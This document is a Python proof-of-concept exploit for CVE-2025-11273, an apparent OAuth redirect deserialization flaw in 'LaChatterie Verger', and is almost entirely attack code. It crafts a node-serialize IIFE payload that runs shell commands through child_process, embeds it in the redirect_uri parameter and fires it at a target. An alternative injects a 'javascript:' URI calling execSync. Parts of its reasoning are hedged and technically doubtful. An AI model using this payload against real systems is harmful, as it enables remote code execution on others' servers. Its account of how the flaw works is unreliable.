CVE-2025-11273：LaChatterie Verger OAuth重定向反序列化漏洞

# CVE-2025-11273 - LaChatterie Verger Deserialization PoC # Vulnerable function: redirectToAuthorization # File: /src/main/services/mcp/oauth/provider.ts import requests import urllib.parse import json import base64 TARGET_URL = "http://target-host:port/oauth/authorize" # Adjust to actual endpoint # Step 1: Craft a malicious serialized payload # In Node.js environments, serialized objects can be crafted using node-serialize or similar libraries class ExploitPayload: """Generate a malicious serialized payload for Node.js deserialization""" @staticmethod def generate_rce_payload(command): """Generate a Node.js deserialization RCE payload (IIFE pattern) The payload exploits the fact that when a serialized JavaScript object containing an Immediately Invoked Function Expression (IIFE) is deserialized, the function executes automatically. """ # node-serialize style payload payload = { "rce": f"_$$ND_FUNC$$_function (){{require('child_process').exec('{command}',function(error,stdout,stderr){{console.log(stdout)}});}}()" } return payload @staticmethod def generate_url_with_payload(target_url, command="id"): """Embed the malicious payload into the redirect_uri parameter""" payload = ExploitPayload.generate_rce_payload(command) serialized = json.dumps(payload) encoded = urllib.parse.quote(base64.b64encode(serialized.encode()).decode()) # Craft the malicious URL targeting redirectToAuthorization malicious_url = f"{target_url}?redirect_uri={encoded}&response_type=code&client_id=victim" return malicious_url def exploit(target_url, command="id"): """Execute the exploit against the vulnerable target""" print(f"[*] Targeting: {target_url}") print(f"[*] Command to execute: {command}") # Generate the malicious URL malicious_url = ExploitPayload.generate_url_with_payload(target_url, command) print(f"[*] Malicious URL generated") # Send the exploit request try: # The vulnerable function redirectToAuthorization processes this URL response = requests.get(malicious_url, timeout=10, allow_redirects=False) print(f"[*] Response status: {response.status_code}") print(f"[*] Response headers: {dict(response.headers)}") if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[*] Redirect location: {location}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Alternative: Direct manipulation of the URL parameter # The vulnerability is in how redirectToAuthorization handles the URL argument # When deserializing the URL parameter, it may execute embedded code def direct_exploit(target_url): """Alternative exploit approach with direct URL manipulation""" # Malicious redirect_uri with embedded serialized JavaScript evil_redirect = "javascript:require('child_process').execSync('id')" encoded_redirect = urllib.parse.quote(evil_redirect) exploit_url = f"{target_url}?redirect_uri={encoded_redirect}" print(f"[*] Direct exploit URL: {exploit_url}") response = requests.get(exploit_url, timeout=10) return response if __name__ == "__main__": # Execute exploit target = "http://target-host:port/oauth/authorize" exploit(target, command="whoami") # direct_exploit(target)